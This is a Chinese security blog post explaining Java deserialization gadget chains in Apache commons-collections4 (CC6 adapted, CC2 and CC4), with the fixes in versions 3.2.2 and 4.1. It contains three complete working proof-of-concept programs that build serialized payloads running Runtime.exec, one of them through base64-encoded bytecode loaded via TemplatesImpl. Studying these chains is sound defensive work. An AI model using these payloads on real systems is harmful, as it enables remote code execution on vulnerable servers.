Javaweb安全——反序列化漏洞-commons-collections4利用链（CC2和CC4）

Arnoldqqq

已于 2022-07-08 16:47:01 修改

阅读量2.2k

点赞数 1

分类专栏： JavaWeb安全文章标签： javaweb安全 ctf java

于 2022-07-06 01:52:51 首次发布

本文链接：https://blog.csdn.net/weixin_43610673/article/details/125631391

版权

JavaWeb安全专栏收录该内容

29 篇文章 13 订阅

订阅专栏

commons-collections4

在2015年底commons-collections反序列化利用链被提出时，Apache Commons Collections有以下两个分支版本：

commons-collections:commons-collections
org.apache.commons:commons-collections4

commons-collections3利用链的适配

对旧CC链的影响主要体现在LazyMap.decorate 这个方法被修改了在commons-collections4中对应的方法为LazyMap.lazyMap。

3和4的groupId和artifactId都不一样所以可以在同一项目中共存方便调试。

//4
public static <V, K> LazyMap<K, V> lazyMap(Map<K, V> map, Transformer<? super K, ? extends V> factory) {
    return new LazyMap(map, factory);
}
//3
public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}

还是做的一个LazyMap构造函数包装，基本就是改了个名字，那将之前的链子decorate换成lazyMap就行，导入的包名变org.apache.commons.collections4。

以CC6为例：

package ser;

import  org.apache.commons.collections4.Transformer;
import  org.apache.commons.collections4.functors.ChainedTransformer;
import  org.apache.commons.collections4.functors.ConstantTransformer;
import  org.apache.commons.collections4.functors.InvokerTransformer;
import  org.apache.commons.collections4.keyvalue.TiedMapEntry;
import  org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC4 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"calc.exe",}),
                new ConstantTransformer(1)};
        //防止payload生成过程中触发，先放进去一个空的Transform
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.lazyMap(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

        HashSet expMap = new HashSet();
        expMap.add(entry);
        //移除entry那lazyMap的键
        lazyMap.remove("foo");
        //通过反射将真正的恶意Transform放进去
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
// ==================
// 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

CC1、CC3、CC6修改之后都是可以在commons-collections4用的。

PriorityQueue利用链

看到ysoserial为commons-collections4准备的两条利用链CommonsCollections2、CommonsCollections4使用了一个新东西java.util.PriorityQueue

CommonsCollections2

先看CommonsCollections2利用链，ysoserial代码中给出的链子如下：

Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
…
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

后面部分很熟悉就是CC1、CC6一样的，前面几个调用链最终都是到 Transformer#transform()方法，org.apache.commons.collections4.comparators的compare方法调用了transformer.transform

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

接着就是看PriorityQueue.readObject()是怎么到TransformingComparator.compare()的呢。

PriorityQueue.readObject中调用了heapify()->siftDown()

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();
    s.readInt();
    queue = new Object[size];
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
    
    heapify();
}

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

瞅一眼这两个函数发现siftDownUsingComparator有调用到comparator.compare方法刚好能串起来TransformingComparator.compare()

private final Comparator<? super E> comparator;

private void siftDownUsingComparator(int k, E x) {
        int half = size >>> 1;
        while (k < half) {
            int child = (k << 1) + 1;
            Object c = queue[child];
            int right = child + 1;
            if (right < size &&
                comparator.compare((E) c, (E) queue[right]) > 0)
                c = queue[child = right];
            if (comparator.compare(x, (E) c) <= 0)
                break;
            queue[k] = c;
            k = child;
        }
        queue[k] = x;
    }

至于为什么这样调用，直接放p神原话：

java.util.PriorityQueue 是一个优先队列（Queue），基于二叉堆实现，队列中每一个元素有自己的优先级，节点之间按照优先级大小排序成一棵树
反序列化时为什么需要调用 heapify() 方法？为了反序列化后，需要恢复（换言之，保证）这个结构的顺序
排序是靠将大的元素下移实现的。 siftDown() 是将节点下移的函数，而 comparator.compare() 用来比较两个元素大小
TransformingComparator 实现了 java.util.Comparator 接口，这个接口用于定义两个对象如何进行比较。 siftDownUsingComparator() 中就使用这个接口的 compare() 方法比较树的节点。

POC：

package ser;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class}, new Object[]{"calc.exe",}),
                new ConstantTransformer(1)};

        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        //防止payload生成过程中触发，先放进去一个空的Transform 设置transformer属性为transformerChain
        Comparator comparator = new TransformingComparator(transformerChain);
        //第一个参数是初始化时的大小，至少需要2个元素才会触发排序和比较
        //第二个参数是比较时的Comparator，传入前面实例化的comparator
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        setFieldValue(transformerChain, "iTransformers", transformers);
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

CommonsCollections4

ysoserial的CommonsCollections4使用了InstantiateTransformer那其实就是CommonsCollections2的TemplatesImpl变体，把CC2和CC3拼接一下试试：

POC：

package ser;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonsCollections4 {
    public static void main(String[] args) throws Exception {

        byte[] code = Base64.decodeBase64("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMc2VyL2V2YWxDbGFzc1RlbXBsYXRlc0ltcGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAbZXZhbENsYXNzVGVtcGxhdGVzSW1wbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEAGnNlci9ldmFsQ2xhc3NUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAVAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAaAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAAwACQAPAAwADQANAA4AEQAQAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAhBAABACIAAAACACM=");
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
        setFieldValue(templatesImpl, "_name", "test");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { templatesImpl } ),
        };
        //包装innerMap，回调TransformedMap.decorate
        //防止payload生成过程中触发，先放进去一个空的Transform
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Comparator comparator = new TransformingComparator(transformerChain);
        //第一个参数是初始化时的大小，至少需要2个元素才会触发排序和比较
        //第二个参数是比较时的Comparator，传入前面实例化的comparator
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        setFieldValue(transformerChain, "iTransformers", transformers);
        //生成序列化数据
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        //System.out.println(barr);
        //反序列化
        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(in);
        ois.readObject();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

不过这条利用链在commons-collections3是无法中利用的 org.apache.commons.collections4.comparators.TransformingComparator，在commons-collections4.0之前没有实现 Serializable 接口，无法序列化。

commons-collections反序列化官方修复：

3.2.2后增加了一个方法FunctorUtils#checkUnsafeSerialization ，通过检查常⻅的危险Transformer类（ InstantiateTransformer 、 InvokerTransformer 、PrototypeFactory 、 CloneTransformer 等）来检测反序列化是否安全。
4.1后常用的几个危险Transformer类不再实现 Serializable 接口。

所以能用的其实就3.2.1和4.0版本。

参考：

Java安全漫谈 - 16.commons-collections4与漏洞修复

Arnoldqqq

关注

1
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
Javaweb安全——反序列化漏洞-commons-collections4利用链（CC2和CC4）

在2015年底commons-collections反序列化利用链被提出时，Apache Commons Collections有以下两个分支版本：对旧CC链的影响主要体现在这个方法被修改了在commons-collections4中对应的方法为。3和4的groupId和artifactId都不一样所以可以在同一项目中共存方便调试。还是做的一个LazyMap构造函数包装，基本就是改了个名字，那将之前的链子decorate换成lazyMap就行，导入的包名变。以CC6为例：CC1、CC3、CC6修改之后
复制链接

扫一扫